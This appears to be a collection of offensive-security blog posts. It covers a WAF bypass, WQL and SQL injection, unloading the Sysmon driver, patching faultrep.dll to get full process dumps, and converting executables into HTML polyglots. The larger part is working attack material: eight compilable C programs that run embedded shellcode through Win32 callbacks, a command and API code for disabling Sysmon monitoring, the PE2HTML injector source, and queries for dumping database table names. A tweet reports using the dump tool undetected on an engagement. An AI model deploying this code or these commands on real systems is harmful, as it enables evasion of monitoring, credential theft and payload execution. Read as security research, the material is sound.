Most of the time people ask me if there’s any method to extract column names? You don’t need to know the column names really.

If you have the error displayed you can straightaway get the number of columns using the below first query which makes the query equals to 1 returning us the error. To determine the number of columns in a boolean blind injection scenario you can do this trick which will return 0 (since the values aren’t equal). After that use the below third query to extract data 🙂

I hope these might come handy in your next pentest 🙂

Bypassing the WebARX Web Application Firewall (WAF)

WebARX is a web application firewall where you can protect your website from malicious attacks. As you can see it was mentioned in TheHackerNews as well and has good ratings if you do some Googling.
https://thehackernews.com/2019/09/webarx-web-application-security.html

It was found out that the WebARX WAF could be easily bypassed by passing a whitelist string. As you see the request won’t be processed by the WAF if it detects a whitelist string.

Let’s first try on their own website. This is a simple LFi payload.



Now if I include a whitelist string such as ithemes-sync-request it would be easily bypassed.

XSS PoC

Here’s an XSS PoC where we pass a simple script tag. It detects the raw request when we pass normally.

But if we include ithemes-sync-request parameter which is a whitelist string the script tag will get executed.

LFi PoC

Here’s a normal payload which will block.

Once we apply the whitelist string it’s bypassed.

SQLi PoC

Here’s a normal payload which will block.

Once we apply the whitelist string it’s bypassed.

These whitelist strings are more like a kill switch for this firewall. I’m not quite sure the developers of this project understands the logic behind it. It’s more like coded by an amateur programmer for a university assignment.

[tweet https://twitter.com/webarx_security/status/1181655018442760193]

WQL Injection

Generally in application security, the user input must be sanitized. When it comes to SQL injection the root cause most of the time is because the input not being sanitized properly. I was curious about Windows Management Instrumentation Query Language – WQL which is the SQL for WMI. Can we abuse WQL if the input is not sanitized?

I wrote a simple application in C++ which gets the service information from the Win32_Service class. It will display members such as Name, ProcessId, PathName, Description, etc.

This is the WQL Query.

SELECT * FROM win32_service where Name='User Input'

As you can see I am using the IWbemServices::ExecQuery method to execute the query and enumerte its members using the IEnumWbemClassObject::Next method.

BSTR input = L"SELECT * FROM win32_service where Name='User Input'";

if (FAILED(hRes = pService->ExecQuery(L"WQL", input, WBEM_FLAG_FORWARD_ONLY, NULL, &pEnumerator))) {
	pLocator->Release();
	pService->Release();
	cout << "Unable to retrive Services: 0x" << std::hex << hRes << endl;
	return 1;
}

IWbemClassObject* clsObj = NULL;
int numElems;
while ((hRes = pEnumerator->Next(WBEM_INFINITE, 1, &clsObj, (ULONG*)&numElems)) != WBEM_S_FALSE) {
	if (FAILED(hRes)) break;
	VARIANT vRet;
	VariantInit(&vRet);
	if (SUCCEEDED(clsObj->Get(L"Name", 0, &vRet, NULL, NULL))
		&& vRet.vt == VT_BSTR) {
		wcout << L"Name: " << vRet.bstrVal << endl;
		VariantClear(&vRet);
}

Once the user enters a service name the application will display its members.

I was thinking if it’s possible to make the query true and return all the services of the target host. Something like id=1 or 1=1 in SQLi where we make the statement logically true.
Since the user input is not properly sanitized in this case we can use the and keyword and enumerate all the services by using the like keyword.

SELECT * FROM win32_service where Name='Appinfo' or name like '[^]%'

You could simply use “%” as well.

This is just a simple demonstration to prove WQL injection. I’m sure there might be better cases to demonstrate this. However, Extended WQL which is a superset of the WQL can be used to combine statements and do more cool stuff. It’s used by the System Center Configuration Manager – SCCM. Always sanitize the input of the application.

You can download the applications from here to play around.
https://github.com/OsandaMalith/WMI/releases/download/1/WinServiceInfo.7z

Unloading the Sysmon Minifilter Driver

The binary fltMC.exe is used to manage minifilter drivers. You can easily load and unload minifilters using this binary. To unload the Sysmon driver you can use:

fltMC unload SysmonDrv

If this binary is flagged, we can unload the minifilter driver by calling the ‘FilterUnload’ which is the Win32 equivalent of ‘FltUnloadFilter’. It will call the minifilter’s ‘FilterUnloadCallback’ (PFLT_FILTER_UNLOAD_CALLBACK) routine. This is as same as using fltMC which is a Non-mandatory unload.
For calling this API SeLoadDriverPrivilege is required. To obtain this privelege adminsitrative permissions are required.

Here’s a simple C code I wrote to call the ‘FilterUnload’ API.

https://github.com/OsandaMalith/WindowsInternals/blob/master/Unload_Minifilter.c

[gist https://gist.github.com/OsandaMalith/3315bc640ff51227ab067052bc20a445]

Note that when unloading a minifilter driver by the FilterManager, it will be logged under the System log.

References:
https://www.osr.com/nt-insider/2017-issue2/introduction-standard-isolation-minifilters/

MiniDumpWriteDump via Faultrep!CreateMinidump

I found out this old undocumented API “CreateMinidumpW” inside the faultrep.dll on Windows XP and Windows Server 2003. This API ends up calling the dbghelp!MiniDumpWriteDump to dump the process by dynamically loading the dbghelp.dll on runtime.

The function takes 3 arguments. I really have no clue what this 3rd argument’s structure is. I passed 0 as the pointer to the structure so by default we end up getting 0x21 as the MINIDUMP_TYPE.

CreateMinidumpW(DWORD dwProcessId, LPCWSTR lpFileName, struct tagSMDumpOptions *)



This is the call stack

[email protected]
faultrep.dll!InternalGenerateMinidumpEx(void *,unsigned long,void *,struct tagSMDumpOptions *,unsigned short const *,int)
faultrep.dll!InternalGenerateMinidump(void *,unsigned long,unsigned short const *,struct tagSMDumpOptions *,int)
faultrep.dll!CreateMinidumpW(unsigned long,unsigned short const *,struct tagSMDumpOptions *)

As you see it calls the dbghelp!MiniDumpWriteDump by loading the dbghelp.dll using the LoadLibraryExW API.

However, this function ‘faultrep.dll!InternalGenerateMinidumpEx’ doesn’t provide a full dump. As you can see it passes 0x21 or it compares the 3rd argument which is a structure and based on that value it passes 0x325.

0x21 = MiniDumpWithDataSegs | MiniDumpWithUnloadedModules

0x325 = MiniDumpWithDataSegs | MiniDumpWithHandleData | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithProcessThreadData | MiniDumpWithUnloadedModules

What you could do is, patch it to a 0x2 to make it a ‘MiniDumpWithFullMemory’. You can find the 64-bit version of the patched DLL from here https://github.com/OsandaMalith/WindowsInternals/tree/master/CreateMinidump

This is the PoC of calling this API. You can copy the DLL from Windows XP and it will work fine. Not sure how this is useful. Just sharing what I found 🙂

 

UPDATE: I wrote a hot patch for both 32-bit and 64-bit faultrep DLLs. It will allow you to get a full process dump passing MiniDumpWithFullMemory as the MINIDUMP_TYPE. Tested on Windows XP 32-bit and 64-bit. On other systems by copying the original DLLs in the same folder will work fine. You can find the repo with DLL files from here https://github.com/OsandaMalith/WindowsInternals/tree/master/CreateMinidump/Hot%20Patch

Some uses 😉

I was in an engagement today and tried with success the CreateMinidump_HotPatch of @OsandaMalith in both win2003 x32 and Win10 x64. Especially in Windows 10 Symantec did not complain at all!!! pic.twitter.com/kKS1KqEqpa

— Spiros Fraganastasis (@m3g9tr0n) September 10, 2019



Executing Shellcode via Callbacks

What is a Callback Function?

In simple terms, it’s a function that is called through a function pointer. When we pass a function pointer to the parameter where the callback function is required, once that function pointer is used to call that function it points to it’s said that a call back is made. This can be abused to pass shellcode instead of a function pointer. This has been around a long time and there are so many Win32 APIs we can use to execute shellcode. This article contains few APIs that I have tested and are working on Windows 10.

Analyzing an API

For example, let’s take the function EnumWindows from user32.dll. The first parameter lpEnumFunc is a pointer to a callback function of type WNDENUMPROC.

BOOL EnumWindows(
  WNDENUMPROC lpEnumFunc,
  LPARAM      lParam
);

The function passes the parameters to an internal function called EnumWindowsWorker.

The first parameter which is the callback function pointer is called inside this function making it possible to pass position independent shellcode.



By checking the references, we can see that other APIs use EnumWindowsWorker function making them suitable candidates for executing shellcode.

EnumFonts

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
int main() {
	int shellcode[] = {
		015024551061,014333060543,012124454524,06034505544,
		021303073213,021353206166,03037505460,021317057613,
		021336017534,0110017564,03725105776,05455607444,
		025520441027,012701636201,016521267151,03735105760,
		0377400434,032777727074
	};
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
	
	EnumFonts(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)shellcode, 0);
}

EnumFontFamilies

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
int main() {
	int shellcode[] = {
		015024551061,014333060543,012124454524,06034505544,
		021303073213,021353206166,03037505460,021317057613,
		021336017534,0110017564,03725105776,05455607444,
		025520441027,012701636201,016521267151,03735105760,
		0377400434,032777727074
	};
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
	
	EnumFontFamilies(GetDC(0), (LPCWSTR)0, (FONTENUMPROC)(char *)shellcode,0);
}

EnumFontFamiliesEx

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
int main() {
	int shellcode[] = {
		015024551061,014333060543,012124454524,06034505544,
		021303073213,021353206166,03037505460,021317057613,
		021336017534,0110017564,03725105776,05455607444,
		025520441027,012701636201,016521267151,03735105760,
		0377400434,032777727074
	};
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
	
	EnumFontFamiliesEx(GetDC(0), 0, (FONTENUMPROC)(char *)shellcode, 0, 0);
}

EnumDisplayMonitors

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
int main() {
	int shellcode[] = {
		015024551061,014333060543,012124454524,06034505544,
		021303073213,021353206166,03037505460,021317057613,
		021336017534,0110017564,03725105776,05455607444,
		025520441027,012701636201,016521267151,03735105760,
		0377400434,032777727074
	};
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
	
	EnumDisplayMonitors((HDC)0,(LPCRECT)0,(MONITORENUMPROC)(char *)shellcode,(LPARAM)0);
}

LineDDA

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
int main() {
	int shellcode[] = {
		015024551061,014333060543,012124454524,06034505544,
		021303073213,021353206166,03037505460,021317057613,
		021336017534,0110017564,03725105776,05455607444,
		025520441027,012701636201,016521267151,03735105760,
		0377400434,032777727074
	};
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
	
	LineDDA(10, 11, 12, 14, (LINEDDAPROC)(char *)shellcode, 0);
}

GrayString

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
int main() {
	int shellcode[] = {
		015024551061,014333060543,012124454524,06034505544,
		021303073213,021353206166,03037505460,021317057613,
		021336017534,0110017564,03725105776,05455607444,
		025520441027,012701636201,016521267151,03735105760,
		0377400434,032777727074
	};
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
	
	GrayString(0, 0, (GRAYSTRINGPROC)(char *)shellcode, 1, 2, 3, 4, 5, 6);
}

CallWindowProc

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
int main() {
	int shellcode[] = {
		015024551061,014333060543,012124454524,06034505544,
		021303073213,021353206166,03037505460,021317057613,
		021336017534,0110017564,03725105776,05455607444,
		025520441027,012701636201,016521267151,03735105760,
		0377400434,032777727074
	};
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
	
	CallWindowProc((WNDPROC)(char *)shellcode, (HWND)0, 0, 0, 0);
}

EnumResourceTypes

#include <Windows.h>
/*
 * https://osandamalith.com - @OsandaMalith
 */
int main() {
	int shellcode[] = {
		015024551061,014333060543,012124454524,06034505544,
		021303073213,021353206166,03037505460,021317057613,
		021336017534,0110017564,03725105776,05455607444,
		025520441027,012701636201,016521267151,03735105760,
		0377400434,032777727074
	};
	DWORD oldProtect = 0;
	BOOL ret = VirtualProtect((LPVOID)shellcode, sizeof shellcode, PAGE_EXECUTE_READWRITE, &oldProtect);
	
	EnumResourceTypes(0, (ENUMRESTYPEPROC)(char *)shellcode, 0);
}

You can check this repo by my friends @bofheaded & @0xhex21 for other callback APIs.

Hacking the World with HTML

In my previous article Exploring the MS-DOS Stub I stated that after experimenting, the Windows loader only cares about the e_magic and the e_lfanew members from the _IMAGE_DOS_HEADER. Because the rest of the members of the DOS header is used by MS-DOS to execute the stub program. Check it out if you have not.

If you take a PE file and null out the MS-DOS header and the MS-DOS stub program leaving out the e_magic and the e_lfanew values, the PE will still work fine as the rest is not needed by the Windows PE loader. The e_lfanew address at offset 0x3c is important as it points to the beginning of the _IMAGE_NT_HEADERS structure which is the actual start of the PE file.

Since those values are not important we can insert an HTML comment from offset 0x2 which is the e_cblp value and begin an HTML comment and end the comment at the end of the PE and append our HTML/PHP/ASP/JSP file contents.

I wrote a simple program in C to automate this task. You can provide your PE file and the HTML/PHP/ASP/JSP file to inject and it will generate an HTML file. You can rename the file into the extension you desire.

https://github.com/OsandaMalith/PE2HTML

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#ifdef _WIN32
#include <io.h>
#endif

#define MAX 500
#define e_cblp 0x2
#define STUB 0x40

/*
Author: Osanda Malith Jayathissa (@OsandaMalith)
Write-up: https://osandamalith.com/2020/07/19/hacking-the-world-with-html/
Disclaimer: Author takes no responsibility for any damage you cause.
Use this for educational purposes only.
Copyright (c) 2020 Osanda Malith Jayathissa
https://creativecommons.org/licenses/by-sa/3.0/
*/

void inject(char *, char *);
void dump(void *, int);
void 
banner() {
	fflush(stdin);
	const static char *banner =
		"\t        _-_.\n"
		"\t     _-',^. `-_.\n"
		"\t ._-' ,'   `.   `-_ \n"
		"\t!`-_._________`-':::\n"
		"\t!   /\\        /\\::::\n"
		"\t;  /  \\      /..\\::: PE 2 HTML Injector\n"
		"\t! /    \\    /....\\:: Coded by Osanda Malith Jayathissa (@OsandaMalith)\n"
		"\t!/      \\  /......\\: https://osandamalith.com\n"
		"\t;--.___. \\/_.__.--;; \n"
		"\t '-_    `:!;;;;;;;'\n"
		"\t    `-_, :!;;;''\n"
		"\t        `-!'  \n";
	for (banner; *banner; ++banner) fprintf(stdout, "%c", *banner);
}

int
main(int argc, char *argv[]) {
	size_t i;
	char *fileName, *payload;

	banner();
	if (argc != 5) {
		printf("\n[-] Usage: %s -i <PE> -p <HTML/PHP/ASP File> \n", argv[0]);
		puts("[*] The output will be in .html, You may rename it to the format you desire.");
		return 1;
	}

	for (i = 1; i < argc; i++) {
		if (!strcmp(argv[i], "-i")) fileName = argv[i + 1];
		if (!strcmp(argv[i], "-p")) payload = argv[i + 1];
	}

	inject(payload, fileName);
	return 0;
}

void inject(char *payload, char *fname) {
	int src, dst, sz;
	char myCurrentChar, newFilename[MAX], check[1],
	*hex = (char *)calloc(0x80, sizeof(char)),
	*comment = "\x3c\x21\x2d\x2d",
	*comment_end = "\x2d\x2d\x3e";

	strncpy(newFilename, fname, MAX);
	newFilename[strlen(fname) - 3] = '\0';
	strcat(newFilename, "html");

#ifdef _WIN32
	src = _open(fname, O_RDONLY | O_BINARY, 0);
	dst = _open(newFilename, O_CREAT | O_TRUNC | O_WRONLY | O_BINARY, S_IREAD | S_IWRITE);

#elif __unix__
	src = open(fname, O_RDONLY, 0);
	dst = open(newFilename, O_CREAT | O_TRUNC | O_WRONLY, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
#endif

	check[sz = read(src, check, 2)] = '\0';
	if (strcmp(check, "MZ")) {
		fprintf(stderr, "[!] Enter a valid PE file"); 
		close(src);
		exit(-1);
	}
	
	lseek(src, 0, SEEK_SET);
	while (read(src, &myCurrentChar, 1)) write(dst, &myCurrentChar, 1);

	lseek(dst, e_cblp, SEEK_SET);

	printf("[*] Commenting the MS-DOS e_cblp at offset 0x%x\n\n", e_cblp);
	write(dst, comment, strlen(comment));

	close(src);
	close(dst);

#ifdef _WIN32
	dst = _open(newFilename, O_RDONLY | O_BINARY, 0);
#elif __unix__
	dst = open(newFilename, O_RDONLY, 0);
#endif

	hex[sz = read(dst, hex, 0x80)] = '\0';
	dump(hex, sz);

	free(hex);
	close(dst);

#ifdef _WIN32
	src = _open(payload, O_RDONLY | O_BINARY, 0);
	dst = _open(newFilename, O_WRONLY | O_APPEND | O_BINARY, 0);

#elif __unix__   
	src = open(payload, O_RDONLY, 0);
	dst = open(newFilename, O_WRONLY | O_APPEND, 0);
#endif

	puts("\n[*] Appending the Payload");
	write(dst, comment_end, strlen(comment_end));
	while (read(src, &myCurrentChar, 1)) write(dst, &myCurrentChar, 1);

	close(src);
	close(dst);

	printf("[+] Successfully written to %s\n", newFilename);
}

void dump(void *addr, int len) {
	size_t i;
	unsigned char buff[0x80];
	unsigned char *pc = (unsigned char*)addr;

	for (i = 0; i < len; i++) {
		if (!(i % 16)) {
			if (i) printf("  %s\n", buff);
			printf("  0x%04X: ", i);
		}
		printf(" %02X", pc[i]);
		buff[i % 16] = (pc[i] < 0x20) || (pc[i] > 0x7e) ? '.' : pc[i];
		buff[(i % 16) + 1] = '\0';
	}
	while ((i % 16)) {
		printf("   ");
		i++;
	}
	printf("  %s\n", buff);
}
/*EOF*/

Another thing to note is that in Windows, cmd.exe and rundll32 will treat any file with any extension as a valid PE as long as it begins with the IMAGE_DOS_SIGNATURE.

By abusing these Windows features (bugs) we can execute our HTML files as executables as well as run in the web browser displaying HTML/PHP/ASP/JSP content.

You can run the newly created PE file with HTML extension or with any extension using cmd.

cmd /c file.html

Process explorer output would look like this.

Rundll32 does not validate any extensions, therefore you can execute any DLL with any extension.

By combining these features (bugs) an attacker can achieve social engineering. This won’t bypass any AV or any EDR. But will surely confuse the analyzer. Might be a handy trick to use at the last stage once your payload is undetectable.

A checksum check can be used to prevent attackers from modifying the MS-DOS header. But a skilled reverse engineer may find the checksum routine and patch it to bypass the anti-reversing technique.

The author takes no responsibility for any damage you cause. This is strictly written for educational purposes.

Exploring the MS-DOS Stub

A long time ago when I got my first computer, I accidentally opened a 32-bit demo with a nice chiptune inside MS-DOS and it worked. I was surprised by how this happens. I was curious to find out how this works behind the scenes. Back in the time I was a little kid and had no clue about programming. This curiosity leads me to discover amazing things I never imagined.
First, let us have a look at the PE header. It starts with the MS-DOS header and contains a 16-bit MS-DOS executable (stub program).


(source: https://commons.wikimedia.org/wiki/File:Portable_Executable_32_bit_Structure.png)

This is the MS-DOS header in detail.

#define IMAGE_DOS_SIGNATURE                 0x5A4D      // MZ
#define IMAGE_NT_SIGNATURE                  0x00004550  // PE00
typedef struct _IMAGE_DOS_HEADER {      // DOS .EXE header
    WORD   e_magic;                     // Magic number
    WORD   e_cblp;                      // Bytes on last page of file
    WORD   e_cp;                        // Pages in file
    WORD   e_crlc;                      // Relocations
    WORD   e_cparhdr;                   // Size of header in paragraphs
    WORD   e_minalloc;                  // Minimum extra paragraphs needed
    WORD   e_maxalloc;                  // Maximum extra paragraphs needed
    WORD   e_ss;                        // Initial (relative) SS value
    WORD   e_sp;                        // Initial SP value
    WORD   e_csum;                      // Checksum
    WORD   e_ip;                        // Initial IP value
    WORD   e_cs;                        // Initial (relative) CS value
    WORD   e_lfarlc;                    // File address of relocation table
    WORD   e_ovno;                      // Overlay number
    WORD   e_res[4];                    // Reserved words
    WORD   e_oemid;                     // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   // OEM information; e_oemid specific
    WORD   e_res2[10];                  // Reserved words
    LONG   e_lfanew;                    // File address of new exe header
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

Every PE file starts with an MS-DOS executable which starts with the IMAGE_DOS_SIGNATURE. The ASCII representation is 0x5A4Dwhich is MZ. The letters “MZ” stands for Mark Zbikowski, who is one of the original architects of MS-DOS and the designer of the MS-DOS executable format. The first member _IMAGE_DOS_HEADER.e_magic contains the signature.

In the above image at offset 0x3c is the e_lfanew member of the _IMAGE_DOS_HEADER. This address points to the new EXE header which is the _IMAGE_NT_HEADERS.
In this case, e_lfanew contains 0x00000120 which points to the beginning of the structure _IMAGE_NT_HEADERS.Signature which contains the IMAGE_NT_SIGNATURE. The ASCII representation is 0x00004550 which is PE00
Basically, after experimenting, the Windows loader only cares about the e_magic and the e_lfanew members from the _IMAGE_DOS_HEADER. Because the rest of the members of the DOS header is used by MS-DOS to execute the stub program.

In any 32-bit/64-bit PE file, you will see a tiny MS-DOS stub program. From offset 0x40 to 0x7f is this stub program which is of 64 bytes.
Let us remove the MS-DOS header with the stub program and disassemble the code.

It is a simple 16-bit assembly program which prints This program cannot be run in DOS mode and exit.
If we run this 64-bit PE inside DOS, the stub will execute, and we get that message.

I wanted to debug this 64-bit PE inside DOS and see for myself how things work. If we look at the DOS header those values can be seen inside the debugger, which proves the MS-DOS header is only needed for MS-DOS to execute its stub. But as I’ve mentioned earlier the members e_magic and the e_lfanew are important for the Windows loader.

From the above image, the values e_sp which is the initial stack pointer 0x00B8 and e_ip which is the initial instruction pointer 0x0000 can be seen in the below image when beginning to debug. The same 16-bit assembly code we dissembled can be seen which will execute and print that text.

I wanted to write my own stub program. Let us try to write some 16-bit asm code to print my name 5 times in green colour.
The C program looks like this.

#include <stdio.h>
int main() {
  size_t i = 0;
  while (i++<5) puts("@OsandaMalith");
  return 0;
}

The following code is in 16-bit MASM. This will be our MS-DOS stub program.

dosseg			
 
ifndef ??Version	 
	option m510	
endif

.model small
.8086
.stack	0400h		 

.data
    message db '@OsandaMalith',0Dh,0dh,0Ah
    len = $ - message
		
.code
Main proc		
    mov ax, @data
    mov ds, ax              
    mov es, ax             
 
    lea bp, message 		

    mov cx, len
    mov bl, 2 
    
    xor dx, dx
    push dx

.repeat
    push cx                 ; Save CX (needed for Int 10h/AH=13h below)
    mov ah, 03h             ; VIDEO - GET CURSOR POSITION AND SIZE
    xor bh, bh              ; Page 0
    int 10h                 ; Call Video-BIOS => DX is current cursor position
    pop cx    
    
    mov ah, 13h             ; VIDEO - WRITE STRING (AT and later,EGA)
    mov al, 1               ; Mode 1: move cursor
    xor bh, bh              ; Page 0
    int 10h       
	
    pop dx
    inc dx
    push dx
.until dx == 5
 
    mov  ax, 4C01h          
    int  21h
 
Main endp 
end Main

After assembling and linking we get the 16-bit DOS executable.

ml /c /Fo hello.obj hello.asm
seglink hello.obj, stub.exe,nul,,nul

One way is to patch the MS-DOS stub from the PE header and inject our code. But we will have limited space if we try patching. Since we have the source code, we can tell the linker to use our stub program while linking using the “/stub” parameter.

link hello.obj /stub:stub.exe

If you check the PE headers you can see our newly created stub program in the IMAGE_DOS_STUB section.

Now finally if we run the 64-bit PE inside MS-DOS, we should nicely see our newly created stub program executing.

Programmers can use this technique to write another program to run in MS-DOS. These techniques were used in demo programs back in the past. You can use this for creating crackmes and in creating CTFs.

My Journey into eCXD – eLearnSecurity Certified eXploit Developer

Exploit Developer Student – XDS Course Review

I first want to thank eLearnSecurity for creating such a course on this topic of exploit development. I have always been a big fan of the Windows operating system. For the past few years, I have spent a lot of time on Windows reverse engineering, Windows internals and exploit development on Windows. However, the thing I liked the most about this course is about the diversity they have with both Windows and Linux both x86 and x86_64. I spent quite a good amount of time on learning Linux exploit development and internals and I totally loved to understand those concepts no matter how hard they were to grasp. It is a feeling I cannot explain ?

I will share my thoughts on each section.

Linux Exploit Development

Module 1: Linux Stack Smashing

As usual, this is the introductory module where you will get a nice understanding of Linux internals and basics of stack-based buffer overflows and identifying them.

The labs included for this module are:

  • Hidden Function
  • Linux Basic Stack Overflow
  • Linux x64 Basic Stack Overflow

Module 2: Linux Exploit Countermeasures & Bypasses

This section was an intense module on bypassing Linux exploitation mitigation techniques. The following were covered in-depth with examples. I believe this was the largest module in this section. I’ve learned a lot of internals, theory and new things in this module in the world of *nix.

  • NX
  • ASLR
  • Stack Cookies
  • RELRO
  • PIE
  • RPATH

Module 3: Linux Return Oriented Programming

This module explains the concepts of Return Oriented Programming (ROP) and how to utilize this technique to bypass anti-exploit mechanisms. I would recommend to first study Module 2 related to anti-exploit mechanisms and then move on to this module and do the labs. As you need theory from both of these modules for the labs.

The labs included for these 2 modules are:

  • Linux NX Bypass (ret2libc)
  • Overcome ret2libc Limitations
  • Linux x64 ASLR Bypass
  • Linux x64 Stack Canary, NX & ASLR Bypass
  • Linux x64 NX Bypass (ret2libc + ROP)

Module 4: Linux Shellcoding

This module explains about developing Linux shellcode and concepts such as Egghunters to detect the shellcode in memory when there’s lack of space in the stack. A full walkthrough of 32-bit reverse TCP shellcode is explained with socket internals. Furthermore, developing 64-bit shellcode on Linux is explained.

The lab included for this module is:

  • Linux Shellcoding

Module 5: Linux Advanced Exploitation

To come to this module, make sure you study all the previous module well. This module explains in-depth about exploiting format string vulnerabilities and how it could be abused to bypassing anti-exploit mechanisms. Also covers bypassing hardened systems. This module has some intense labs and it was very challenging to understand the exploitation process. I loved this module a lot as these types of vulnerabilities can be abused to bypass modern anti-exploit mechanisms and are still being reported in the real world in commercial applications.

  • Linux NX & ASLR Bypass (Format String Exploitation + ROP)
  • Strict Firewall Bypass (Format String Exploitation + Socket Reuse Shellcode)

Windows Exploit Development

Module 1: Windows Stack Smashing

This module explains the basics of exploiting stack-based buffer overflows in Windows systems. You will learn different tools to automated certain tasks and internals.

The labs included for this module are:

  • Windows Basic Stack Overflow

Module 2: Windows SEH-based Overflows

This module explains about abusing software which utilized the Structured Exception Handling mechanism under Windows systems. The labs will provide you more understanding practically how it works under a debugger.

The labs included for this module are:

  • Windows SEH Overflow (MP3 Studio)
  • Windows SEH Overflow (EasyChat)

Module 4: Unicode Buffer Overflows

This module explains the process of creating venetian shellcode and utilizing it in Unicode Buffer Overflow exploits. This technique is useful if the application changes user input in case of translation.

Module 5: Windows Shellcoding

This module explains the art of shellcoding in Windows. It also goes in-depth on developing position independent shellcode on Windows. This module also includes a socket reuse shellcode and about backdooring PE files

The labs included for this module are:

  • Windows Shellcoding

Module 6: Windows Return Oriented Programming

This module explains the Return Oriented Programming (ROP) theory on Windows. This module was also intense as it dives deep into manual ROP chaining. I really loved this module as I learned a lot about developing my own manual ROP chains.

The labs included for this module are:

  • Windows ROP (Scenario 1)
  • Windows ROP (Scenario 2)

Fuzzing Windows Software

This was another lab exercise on explaining the usage of the SPIKE fuzzer.

The Exam

The exam was challenging. It was of 3 days and another 2 days were provided for the report. Since there were 3 days I did not have that much stress. There were 5 challenges in total for both Windows and Linux environments x86 and x86_64. There are no multiple-choice questions and it’s a full practical exam. You are supposed to develop a proof-of-concept for each challenge and document down your process, tools used, etc. Everything is well taught in the course and if you study the materials and do the labs your passing chances are high.

The following knowledge domains will be assessed in the exam.

  • Windows and Linux internals
  • Reverse engineering (x86 and x64 platforms)
  • Software debugging
  • Shellcoding
  • Windows and Linux exploit development (including scripting knowledge)
  • Bypassing modern anti-exploit mechanisms (ASLR/PIE, Stack Cookie, NX/DEP, RELRO etc.)
  • Exploiting hardened hosts and overcoming limitations

A huge thanks to ?ukasz Miku?a for creating this course and for assessing my exam report. Special thanks to Dimitrios Bougioukas from eLearnSecurity 🙂

More information about the XDS Course: https://www.elearnsecurity.com/course/exploit_development_student/

Alternatives to Extract Tables and Columns from MySQL and MariaDB

I’ve previously published a post on extracting table names when /or/i was filtered which leads to filtering of the word information_schema. I did some more research into this area on my own and found many other tables where you can extract the table names. These are all the databases and tables I found where we can extract table names apart from ‘information_schema.tables’. I have tested the following in 5.7.29 MySQL and 10.3.18 MariaDB. There are 39 queries in total.

Sys

These views were added in MySQL 5.7.9.

mysql> SELECT object_name FROM `sys`.`x$innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails      |
| flag        |
| referers    |
| uagents     |
| users       |
+-------------+
5 rows in set (0.04 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_flattened_keys` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
5 rows in set (0.01 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`x$ps_schema_table_statistics_io` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| db         |
| emails     |
| flag       |
| referers   |
| uagents    |
| users      |
+------------+
6 rows in set (0.04 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| table_name |
+------------+
| users      |
| emails     |
| referers   |
| uagents    |
| flag       |
+------------+
5 rows in set (0.00 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| emails     |
| users      |
| flag       |
| referers   |
| uagents    |
+------------+
5 rows in set (0.03 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`x$schema_table_statistics_with_buffer` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| referers   |
| uagents    |
| emails     |
| users      |
| flag       |
+------------+
5 rows in set (0.07 sec)

mysql> SELECT object_name FROM `sys`.`innodb_buffer_stats_by_table` WHERE object_schema = DATABASE();
+-------------+
| object_name |
+-------------+
| emails      |
| flag        |
| referers    |
| uagents     |
| users       |
+-------------+
5 rows in set (0.05 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`schema_auto_increment_columns` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| table_name |
+------------+
| referers   |
| flag       |
| emails     |
| users      |
| uagents    |
+------------+
5 rows in set (0.14 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`schema_index_statistics` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| table_name |
+------------+
| users      |
| emails     |
| referers   |
| uagents    |
| flag       |
+------------+
5 rows in set (0.00 sec)

mysql> SELECT TABLE_NAME FROM `sys`.`schema_table_statistics` WHERE TABLE_SCHEMA = DATABASE();
+------------+
| TABLE_NAME |
+------------+
| users      |
| emails     |
| referers   |
| uagents    |
| flag       |
+------------+
5 rows in set (0.04 sec)

